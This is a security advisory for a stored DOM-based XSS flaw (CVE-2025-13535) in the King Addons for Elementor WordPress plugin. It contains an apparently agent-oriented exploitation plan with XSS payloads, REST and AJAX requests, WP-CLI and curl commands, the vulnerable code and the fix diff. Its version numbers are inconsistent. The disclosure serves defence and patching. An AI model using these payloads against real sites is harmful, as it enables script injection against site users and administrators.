King Addons for Elementor <= 51.1.38 - Authenticated (Contributor+) DOM-Based Stored Cross-Site Scripting via Multiple Widgets
Description
The King Addons for Elementor plugin for WordPress is vulnerable to multiple Contributor+ DOM-Based Stored Cross-Site Scripting vulnerabilities in all versions up to, and including, 51.1.38. This is due to insufficient input sanitization and output escaping across multiple widgets and features. The plugin uses esc_attr() and esc_url() within JavaScript inline event handlers (onclick attributes), which allows HTML entities to be decoded by the DOM, enabling attackers to break out of the JavaScript context. Additionally, several JavaScript files use unsafe DOM manipulation methods (template literals, .html(), and window.location.href with unvalidated URLs) with user-controlled data. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts via Elementor widget settings that execute when a user accesses the injected page or when an administrator previews the page in Elementor's editor. The vulnerability was partially patched in version 5.1.51.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=51.1.53What Changed in the Fix
Changes introduced in v51.1.54
Source Code
WordPress.org SVNThis plan targets **CVE-2025-13535**, a Stored DOM-Based Cross-Site Scripting (XSS) vulnerability in the **King Addons for Elementor** plugin. The vulnerability arises from two primary flaws: 1. **Improper Output Escaping in Event Handlers:** Using `esc_attr()` or `esc_url()` inside JavaScript `onc…
Show full research plan
This plan targets CVE-2025-13535, a Stored DOM-Based Cross-Site Scripting (XSS) vulnerability in the King Addons for Elementor plugin. The vulnerability arises from two primary flaws:
- Improper Output Escaping in Event Handlers: Using
esc_attr()oresc_url()inside JavaScriptonclickattributes, allowing attribute breakout via HTML entity decoding. - Unsafe DOM Manipulation: Client-side JavaScript (specifically for widgets and the AI translator) using
.html()or template literals with unvalidated data from REST/AJAX endpoints.
1. Vulnerability Summary
- Vulnerability Name: Authenticated (Contributor+) DOM-Based Stored XSS
- Plugin Slug:
king-addons - Vulnerable Components: Multiple Elementor Widgets (Button, Post Grid, etc.) and the
Ajax_Select2_APIREST controller. - Affected Versions: <= 51.1.38
- Why it exists: The plugin's REST API specifically decodes HTML entities in post titles (
html_entity_decode) before sending them to the client. The client-side JavaScript then renders these titles using jQuery's.html()method. Additionally, widget templates render user-controlled URLs/settings insideonclickattributes usingesc_attr(), which the browser decodes before JavaScript execution.
2. Attack Vector Analysis
- Authentication Level: Contributor or higher (any role with
edit_postscapability). - Entry Points:
- Post Title Injection: Creating a post with a malicious title.
- Widget Link Injection: Setting a widget's URL or custom attribute in the Elementor Editor.
- Vulnerable Endpoints:
- REST API:
/wp-json/kingaddons/v1/ajaxselect2/getPostsByPostType - AJAX:
king_addons_el_hf_get_posts_by_query(Action:wp_ajax_king_addons_el_hf_get_posts_by_query)
- REST API:
- Payload Type:
"><img src=x onerror=alert(origin)>orjavascript:alert(1)
3. Code Flow
Path A: DOM XSS via Post Selection (REST API)
- Attacker (Contributor): Creates a post with title
<img src=x onerror=alert(1)>. - King Addons REST Controller:
Ajax_Select2_API::getPostsByPostType(inincludes/controls/Ajax_Select2/Ajax_Select2_API.php) fetches the title. - Vulnerable Sink (PHP): It calls
'text' => html_entity_decode(get_the_title()). This explicitly decodes any existing safety entities. - Client-Side JS: A widget (e.g., Post Grid) or the Elementor Editor's post selector calls this REST route.
- Vulnerable Sink (JS): The Select2 handler or widget JS renders the
textproperty using.html()or template literals, executing the script.
Path B: Inline Event Handler Breakout (Widget Template)
- Attacker (Contributor): Adds a widget (e.g., Button) and sets a URL/Attribute to
');alert(1);('. - Vulnerable Sink (PHP): The widget template renders an inline handler:
onclick="someFunction('<?php echo esc_attr($url); ?>')"(inferred from description). - Browser Decoding: The browser decodes the attribute value
');alert(1);('back to');alert(1);('before JS execution. - Execution: The JS engine executes
someFunction('');alert(1);('').
4. Nonce Acquisition Strategy
The Ajax_Select2_API REST route uses permission_callback => '__return_true' and relies on current_user_can('edit_posts'). Standard REST API authentication (nonce in X-WP-Nonce header) is required if accessed via the browser.
The Header/Footer Builder AJAX endpoint requires a specific nonce:
- Shortcode/Location: The script
king-addons-el-hf-adminis enqueued on the Header/Footer builder page:wp-admin/edit.php?post_type=king-addons-el-hf. - Extraction:
- Navigate to:
http://localhost:8080/wp-admin/edit.php?post_type=king-addons-el-hf - Execute JS:
window.king_addons_el_hf_admin?.nonce
- Navigate to:
5. Exploitation Strategy
Step 1: Inject Malicious Post Title
- Objective: Create a post that will be served by the Select2 REST API.
- HTTP Request: Use
http_requestas a Contributor. - Endpoint:
/wp-admin/post-new.php(or use WP-CLI to be faster). - Payload Title:
XSS-Trigger <img src=x onerror=alert(window.origin)>
Step 2: Trigger REST API Reflection
- Objective: Verify the REST API returns the decoded payload.
- HTTP Request:
GET /wp-json/kingaddons/v1/ajaxselect2/getPostsByPostType?query_slug=post&s=XSS-Trigger HTTP/1.1 Host: localhost:8080 X-WP-Nonce: [REST_NONCE] - Expected JSON Response: Look for
"text": "XSS-Trigger <img src=x onerror=alert(window.origin)>"(Note the lack of entity encoding).
Step 3: Demonstrate DOM Sink (Manual Simulation)
- The agent should document that any King Addons widget using this REST endpoint for dynamic content (like "Post Grid" or "Select Post") will render this
textvia.html().
6. Test Data Setup
- User: Create a user
contributor_userwith thecontributorrole. - Post Type: Enable the plugin's "Header & Footer Builder" extension in King Addons settings if needed.
- Content:
wp post create --post_type=post --post_title='XSS-Trigger <img src=x onerror=alert(window.origin)>' --post_status=publish --post_author=[ID]
7. Expected Results
- The REST API call
/wp-json/kingaddons/v1/ajaxselect2/getPostsByPostTypemust return the post title with the HTML tag decoded. - In a browser context (e.g., using
browser_navigateto an Elementor page with a King Addons Post Selector), an alert box should trigger when the post list is loaded.
8. Verification Steps
- Check REST output:
# As contributor curl -u contributor:password "http://localhost:8080/wp-json/kingaddons/v1/ajaxselect2/getPostsByPostType?query_slug=post&s=XSS-Trigger" - Confirm Lack of Encoding: Verify that
<and>in the title are NOT converted to<and>in the JSON response.
9. Alternative Approaches
If the REST API is not sufficient, target the Header Footer Builder AJAX endpoint:
- Action:
king_addons_el_hf_get_posts_by_query - Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=king_addons_el_hf_get_posts_by_query&q=XSS-Trigger&nonce=[NONCE] - The code in
Header_Footer_Builder.phplines 188-191 also retrievesget_the_title()and puts it into thetextkey of the response. If the associated JS for this feature (likely in the builder interface) uses.html(), the XSS will trigger there.
Summary
King Addons for Elementor is vulnerable to DOM-based Stored XSS because its REST and AJAX endpoints return post titles with decoded HTML entities, which are then rendered unsafely by client-side JavaScript. Additionally, the plugin uses esc_attr() within inline JavaScript event handlers in widget templates, allowing attackers to break out of the JavaScript context via HTML entity decoding by the browser.
Vulnerable Code
// includes/controls/Ajax_Select2/Ajax_Select2_API.php // Lines 63-66 in getElementorTemplates $options[] = [ 'id' => get_the_ID(), 'text' => html_entity_decode(get_the_title()), ]; --- // includes/controls/Ajax_Select2/Ajax_Select2_API.php // Lines 104-107 in getPostsByPostType $options[] = [ 'id' => get_the_ID(), 'text' => html_entity_decode(get_the_title()), ]; --- // includes/extensions/Header_Footer_Builder/Header_Footer_Builder.php // Lines 188-195 in king_addons_el_hf_get_posts_by_query $title = get_the_title(); $title .= (0 != $query->post->post_parent) ? ' (' . get_the_title($query->post->post_parent) . ')' : ''; $id = get_the_id(); data[] = array( 'id' => 'post-' . $id, 'text' => $title, );
Security Fix
@@ -65,7 +65,7 @@ $the_query->the_post(); $options[] = [ 'id' => get_the_ID(), - 'text' => html_entity_decode(get_the_title()), + 'text' => get_the_title(), ]; } } @@ -106,7 +106,7 @@ $query->the_post(); $options[] = [ 'id' => get_the_ID(), - 'text' => html_entity_decode(get_the_title()), + 'text' => get_the_title(), ]; } } @@ -185,7 +185,7 @@ if ($query->have_posts()) { while ($query->have_posts()) { $query->the_post(); - $title = get_the_title(); + $title = wp_strip_all_tags(get_the_title()); $title .= (0 != $query->post->post_parent) ? ' (' . get_the_title($query->post->post_parent) . ')' : ''; $id = get_the_id(); $data[] = array(
Exploit Outline
The exploit requires an attacker with at least Contributor-level permissions. 1. The attacker creates a new post and sets the title to a malicious XSS payload, such as `<img src=x onerror=alert(document.domain)>`. 2. The attacker opens the Elementor editor and adds a King Addons widget that utilizes the Select2 post selector (e.g., Post Grid or any widget using dynamic post selection). 3. When the widget configuration panel or the widget itself fetches post data via the REST API endpoint `/wp-json/kingaddons/v1/ajaxselect2/getPostsByPostType`, the server returns the post title with HTML entities decoded (due to the use of `html_entity_decode`). 4. The client-side JavaScript renders this JSON response into the DOM using an unsafe sink like `.html()`, executing the script. 5. Alternatively, for the inline event handler breakout, an attacker sets a widget URL setting to `');alert(1);('`. When the widget is rendered, the `esc_attr()` encoding is reversed by the browser's DOM parser before the JavaScript engine executes the `onclick` attribute, resulting in code execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.